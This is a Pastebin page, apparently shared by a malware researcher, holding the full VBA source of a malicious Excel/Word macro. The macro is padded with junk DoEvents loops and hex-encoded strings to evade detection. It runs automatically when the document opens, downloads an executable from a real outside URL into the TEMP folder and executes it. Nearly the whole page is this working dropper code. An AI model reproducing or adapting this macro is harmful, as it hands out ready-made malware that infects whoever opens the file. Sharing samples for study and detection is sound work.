SHARE
TWEET

Malicious Excel macro

dynamoo Jan 19th, 2015 253 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub uiwefds()
  10. Dim oYoglGYg As Integer
  11. For oYoglGYg = 0 To 7
  12. Dim PwYchYpl As Integer
  13. For PwYchYpl = 0 To 3
  14. DoEvents
  15. Next PwYchYpl
  16. DoEvents
  17. Next oYoglGYg
  18. Dim NDClCYxB As Integer
  19. For NDClCYxB = 0 To 5
  20. DoEvents
  21. Next NDClCYxB
  22. GHJksdfsd
  23. End Sub
  24. Sub AutoOpen()
  25. Dim BUJpNGVs As Integer
  26. For BUJpNGVs = 0 To 2
  27. Dim ojePHgOn As Integer
  28. For ojePHgOn = 0 To 4
  29. DoEvents
  30. Next ojePHgOn
  31. DoEvents
  32. Next BUJpNGVs
  33. Dim arGnmRUr As Integer
  34. For arGnmRUr = 0 To 2
  35. DoEvents
  36. Next arGnmRUr
  37.     uiwefds
  38. End Sub
  39. Sub Workbook_Open()
  40. Dim tIQONlRl As Integer
  41. For tIQONlRl = 0 To 9
  42. Dim DlcKhaLG As Integer
  43. For DlcKhaLG = 0 To 6
  44. DoEvents
  45. Next DlcKhaLG
  46. DoEvents
  47. Next tIQONlRl
  48. Dim Dqjehtla As Integer
  49. For Dqjehtla = 0 To 3
  50. DoEvents
  51. Next Dqjehtla
  52.     uiwefds
  53. End Sub
  54. Function SaveWebFile(ByVal vWebFile As String, ByVal fgHBjsdfsdf As String) As Boolean
  55.     Dim AUjVIjFE As Object, i As Long, vFF As Long, oResp() As Byte
  56. Dim MKwDfrWa As Integer
  57. For MKwDfrWa = 0 To 7
  58. Dim AnEJnNux As Integer
  59. For AnEJnNux = 0 To 4
  60. DoEvents
  61. Next AnEJnNux
  62. DoEvents
  63. Next MKwDfrWa
  64. Dim VXgWAtjh As Integer
  65. For VXgWAtjh = 0 To 8
  66. DoEvents
  67. Next VXgWAtjh
  68.      
  69.  
  70. Dim nWmhpOLJ As Integer
  71. For nWmhpOLJ = 0 To 3
  72. Dim TOBHJjkq As Integer
  73. For TOBHJjkq = 0 To 4
  74. DoEvents
  75. Next TOBHJjkq
  76. DoEvents
  77. Next nWmhpOLJ
  78. Dim xfCKaGSU As Integer
  79. For xfCKaGSU = 0 To 3
  80. DoEvents
  81. Next xfCKaGSU
  82.     Set AUjVIjFE = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
  83.     AUjVIjFE.Open HexToString("474554"), vWebFile, False
  84. Dim cuEdWJEi As Integer
  85. For cuEdWJEi = 0 To 3
  86. Dim hcMcVDAy As Integer
  87. For hcMcVDAy = 0 To 8
  88. DoEvents
  89. Next hcMcVDAy
  90. DoEvents
  91. Next cuEdWJEi
  92. Dim kNlYlYYP As Integer
  93. For kNlYlYYP = 0 To 2
  94. DoEvents
  95. Next kNlYlYYP
  96.     AUjVIjFE.Send
  97. Dim gLIiHklS As Integer
  98. For gLIiHklS = 0 To 7
  99. Dim UHLxoTnO As Integer
  100. For UHLxoTnO = 0 To 8
  101. DoEvents
  102. Next UHLxoTnO
  103. DoEvents
  104. Next gLIiHklS
  105. Dim lOpUCeCz As Integer
  106. For lOpUCeCz = 0 To 5
  107. DoEvents
  108. Next lOpUCeCz
  109.        
  110. Dim vigWOhDJ As Integer
  111. For vigWOhDJ = 0 To 1
  112. Dim gSEWVnBT As Integer
  113. For gSEWVnBT = 0 To 1
  114. DoEvents
  115. Next gSEWVnBT
  116. DoEvents
  117. Next vigWOhDJ
  118. Dim WHvOpdZY As Integer
  119. For WHvOpdZY = 0 To 7
  120. DoEvents
  121. Next WHvOpdZY
  122.     oResp = AUjVIjFE.responseBody
  123. Dim CqPSLUWL As Integer
  124. For CqPSLUWL = 0 To 2
  125. Dim tzgGgSOk As Integer
  126. For tzgGgSOk = 0 To 3
  127. DoEvents
  128. Next tzgGgSOk
  129. DoEvents
  130. Next CqPSLUWL
  131. Dim DIQRntnq As Integer
  132. For DIQRntnq = 0 To 9
  133. DoEvents
  134. Next DIQRntnq
  135.      
  136. Dim mvaENwsz As Integer
  137. For mvaENwsz = 0 To 9
  138. Dim ZJEzoywE As Integer
  139. For ZJEzoywE = 0 To 4
  140. DoEvents
  141. Next ZJEzoywE
  142. DoEvents
  143. Next mvaENwsz
  144. Dim iaNOZsvg As Integer
  145. For iaNOZsvg = 0 To 9
  146. DoEvents
  147. Next iaNOZsvg
  148.     vFF = FreeFile
  149.     Open fgHBjsdfsdf For Binary Access Write As #vFF
  150. Dim DNRdFOSY As Integer
  151. For DNRdFOSY = 0 To 6
  152. Dim lHduYTlx As Integer
  153. For lHduYTlx = 0 To 2
  154. DoEvents
  155. Next lHduYTlx
  156. DoEvents
  157. Next DNRdFOSY
  158. Dim xaxyXJkE As Integer
  159. For xaxyXJkE = 0 To 3
  160. DoEvents
  161. Next xaxyXJkE
  162.     Put #vFF, , oResp
  163. Dim bbpmZDkm As Integer
  164. For bbpmZDkm = 0 To 7
  165. Dim xPdrKQOZ As Integer
  166. For xPdrKQOZ = 0 To 6
  167. DoEvents
  168. Next xPdrKQOZ
  169. DoEvents
  170. Next bbpmZDkm
  171. Dim ASdHxvKS As Integer
  172. For ASdHxvKS = 0 To 7
  173. DoEvents
  174. Next ASdHxvKS
  175.     Close #vFF
  176.  
  177. Dim uhhgqFpN As Integer
  178. For uhhgqFpN = 0 To 3
  179. Dim FbRVvahd As Integer
  180. For FbRVvahd = 0 To 9
  181. DoEvents
  182. Next FbRVvahd
  183. DoEvents
  184. Next uhhgqFpN
  185. Dim kbcDCzXs As Integer
  186. For kbcDCzXs = 0 To 5
  187. DoEvents
  188. Next kbcDCzXs
  189.     Set AUjVIjFE = Nothing
  190.     Dim NgRVvV As Object
  191. Dim oLSYueam As Integer
  192. For oLSYueam = 0 To 4
  193. Dim wEjGWMqW As Integer
  194. For wEjGWMqW = 0 To 8
  195. DoEvents
  196. Next wEjGWMqW
  197. DoEvents
  198. Next oLSYueam
  199. Dim uHhPIfye As Integer
  200. For uHhPIfye = 0 To 6
  201. DoEvents
  202. Next uHhPIfye
  203.     Set NgRVvV = CreateObject(HexToString("5368656C6C2E6170706C69636174696F6E"))
  204. Dim oSEXVckr As Integer
  205. For oSEXVckr = 0 To 9
  206. Dim TuqwgeFr As Integer
  207. For TuqwgeFr = 0 To 2
  208. DoEvents
  209. Next TuqwgeFr
  210. DoEvents
  211. Next oSEXVckr
  212. Dim bSTYjBaq As Integer
  213. For bSTYjBaq = 0 To 3
  214. DoEvents
  215. Next bSTYjBaq
  216.     NgRVvV.ShellExecute Environ(HexToString("54454D50")) & HexToString("5C3332343233343233342E657865")
  217.     End Function
  218. Sub GHJksdfsd()
  219.  
  220. Dim TTlulrHb As Integer
  221. For TTlulrHb = 0 To 4
  222. Dim nzPhlZuA As Integer
  223. For nzPhlZuA = 0 To 3
  224. DoEvents
  225. Next nzPhlZuA
  226. DoEvents
  227. Next TTlulrHb
  228. Dim pKYcyISK As Integer
  229. For pKYcyISK = 0 To 1
  230. DoEvents
  231. Next pKYcyISK
  232.     SaveWebFile HexToString("687474703A2F2F6368696C616E2E63612F6A732F62696E2E657865"), Environ(HexToString("54454D50")) & HexToString("5C3332343233343233342E657865")
  233.  
  234. End Sub
  235.  
  236.  
  237.  
  238. Public Function HexToString(ByVal strData As String) As String
  239.     Dim HrZcwZdroQkJJ As String
  240. Dim jmyReLXI As Integer
  241. For jmyReLXI = 0 To 2
  242. Dim UcaPijwK As Integer
  243. For UcaPijwK = 0 To 5
  244. DoEvents
  245. Next UcaPijwK
  246. DoEvents
  247. Next jmyReLXI
  248. Dim pllpewTD As Integer
  249. For pllpewTD = 0 To 1
  250. DoEvents
  251. Next pllpewTD
  252.     Do Until Len(strData) < 2
  253. Dim TAGfGllS As Integer
  254. For TAGfGllS = 0 To 8
  255. Dim OKpypckB As Integer
  256. For OKpypckB = 0 To 2
  257. DoEvents
  258. Next OKpypckB
  259. DoEvents
  260. Next TAGfGllS
  261. Dim lVsQygKc As Integer
  262. For lVsQygKc = 0 To 8
  263. DoEvents
  264. Next lVsQygKc
  265.         HrZcwZdroQkJJ = HrZcwZdroQkJJ + Chr$(CLng("&H" + Left$(strData, 2)))
  266. Dim DjKVyyaC As Integer
  267. For DjKVyyaC = 0 To 6
  268. Dim Drofnybo As Integer
  269. For Drofnybo = 0 To 3
  270. DoEvents
  271. Next Drofnybo
  272. DoEvents
  273. Next DjKVyyaC
  274. Dim ShVjCMDA As Integer
  275. For ShVjCMDA = 0 To 3
  276. DoEvents
  277. Next ShVjCMDA
  278.         strData = Right$(strData, Len(strData) - 2)
  279. Dim ISBftRjL As Integer
  280. For ISBftRjL = 0 To 8
  281. Dim cluMyKYJ As Integer
  282. For cluMyKYJ = 0 To 3
  283. DoEvents
  284. Next cluMyKYJ
  285. DoEvents
  286. Next ISBftRjL
  287. Dim fUrZEoEs As Integer
  288. For fUrZEoEs = 0 To 5
  289. DoEvents
  290. Next fUrZEoEs
  291.     Loop
  292. Dim zylYcfyu As Integer
  293. For zylYcfyu = 0 To 8
  294. Dim JkXjjQxz As Integer
  295. For JkXjjQxz = 0 To 6
  296. DoEvents
  297. Next JkXjjQxz
  298. DoEvents
  299. Next zylYcfyu
  300. Dim vIqIGDXI As Integer
  301. For vIqIGDXI = 0 To 3
  302. DoEvents
  303. Next vIqIGDXI
  304.     HexToString = HrZcwZdroQkJJ
  305. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top